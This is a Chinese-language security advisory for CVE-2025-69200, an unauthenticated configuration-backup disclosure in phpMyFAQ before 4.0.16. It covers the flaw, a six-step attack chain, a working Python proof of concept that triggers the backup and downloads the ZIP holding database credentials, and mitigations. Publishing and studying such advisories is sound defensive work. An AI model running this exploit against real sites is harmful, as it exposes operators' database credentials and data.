IPBUF安全漏洞报告
English
CVE-2025-69200 CVSS 7.5 高危

CVE-2025-69200: phpMyFAQ 配置备份文件信息泄露漏洞

披露日期: 2025-12-29

漏洞信息

漏洞编号
CVE-2025-69200
漏洞类型
信息泄露
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
phpMyFAQ

相关标签

信息泄露配置泄露数据库凭据phpMyFAQCVE-2025-69200无需认证远程代码执行前置备份文件Web应用漏洞高危漏洞

漏洞概述

phpMyFAQ是一款开源的FAQ(常见问题解答)Web应用程序。在4.0.16之前的版本中存在一个严重的信息泄露漏洞。该漏洞允许未经身份验证的远程攻击者通过发送特制的HTTP请求触发系统生成配置备份ZIP文件,然后从Web可访问的路径下载该文件。备份ZIP包中包含敏感的配置文件,特别是database.php文件,其中直接存储了数据库连接凭据,包括数据库用户名、密码、主机地址和数据库名称等关键信息。攻击者获取这些凭据后,可以直接访问后端数据库,进而可能导致数据泄露、数据篡改或进一步的横向渗透攻击。由于该漏洞利用无需任何认证且攻击复杂度低,CVSS评分达到7.5分(高危),对使用受影响版本phpMyFAQ的组织构成严重安全威胁。

技术细节

该漏洞源于phpMyFAQ的备份功能设计缺陷。在受影响版本中,/api/setup/backup端点缺乏适当的访问控制机制,允许任何未认证用户触发备份操作。当攻击者发送POST请求到该端点时,系统会在Web可访问的目录下生成包含配置文件的ZIP备份包。备份包默认包含database.php等敏感配置文件,这些文件以明文形式存储数据库连接凭证。由于备份文件存储在Web根目录或静态资源目录下,攻击者可以通过猜测或枚举文件路径直接下载该ZIP文件。漏洞利用的关键在于:(1)备份端点未实施身份验证;(2)备份文件存储路径可被预测或枚举;(3)敏感配置文件未加密存储。攻击者利用此漏洞可获取数据库管理员权限,进而控制整个应用程序及其数据。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标网站使用的phpMyFAQ版本,确认版本低于4.0.16
STEP 2
步骤2: 触发备份生成
攻击者向/api/setup/backup端点发送POST请求,无需任何认证即可触发配置备份生成
STEP 3
步骤3: 定位备份文件
攻击者通过枚举或猜测备份文件路径,访问Web可访问目录下的ZIP备份文件
STEP 4
步骤4: 下载敏感文件
攻击者下载包含database.php等敏感配置文件的ZIP包
STEP 5
步骤5: 提取数据库凭据
攻击者解压ZIP文件,提取database.php获取数据库用户名、密码、主机地址等凭据
STEP 6
步骤6: 数据库访问与数据泄露
攻击者使用获取的数据库凭据连接后端数据库,窃取敏感数据或进行进一步攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import uuid # CVE-2025-69200 PoC - phpMyFAQ Configuration Backup Information Disclosure # Target: phpMyFAQ < 4.0.16 # Vulnerability: Unauthenticated remote attacker can trigger backup generation and download sensitive config files def exploit_phpMyFAQ(target_url): """ Exploit for CVE-2025-69200 Step 1: Trigger backup generation via POST /api/setup/backup Step 2: Download the generated ZIP from web-accessible location """ # Remove trailing slash if present target_url = target_url.rstrip('/') # Step 1: Trigger backup generation backup_endpoint = f"{target_url}/api/setup/backup" print(f"[*] Triggering backup generation at: {backup_endpoint}") try: response = requests.post(backup_endpoint, timeout=30) print(f"[+] Backup request status: {response.status_code}") # Step 2: Try to download the backup ZIP # Common backup file paths in phpMyFAQ backup_paths = [ f"{target_url}/content/backup/config/backup.zip", f"{target_url}/backup.zip", f"{target_url}/content/backup.zip", f"{target_url}/api/setup/backup/download" ] for path in backup_paths: print(f"[*] Trying to download backup from: {path}") zip_response = requests.get(path, timeout=30) if zip_response.status_code == 200 and zip_response.headers.get('content-type', '').find('zip') >= 0: print(f"[!] Backup file found: {path}") # Save the backup file filename = f"backup_{uuid.uuid4().hex[:8]}.zip" with open(filename, 'wb') as f: f.write(zip_response.content) print(f"[+] Backup saved to: {filename}") # Check for sensitive files in backup if b'database.php' in zip_response.content or b'<?php' in zip_response.content: print("[!] WARNING: Backup contains PHP config files with potential credentials!") return True print("[-] Could not find downloadable backup file") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": import sys if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com/phpmyfaq") sys.exit(1) exploit_phpMyFAQ(sys.argv[1])

影响范围

phpMyFAQ < 4.0.16

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)通过Web服务器配置(如nginx或Apache的rewrite规则)阻止对/api/setup/backup端点的外部访问;2)将备份存储目录移出Web根目录并设置严格的文件权限;3)临时禁用备份功能;4)配置Web应用防火墙(WAF)规则检测和阻止异常的备份请求;5)启用详细的访问日志并设置告警,及时发现潜在的攻击行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表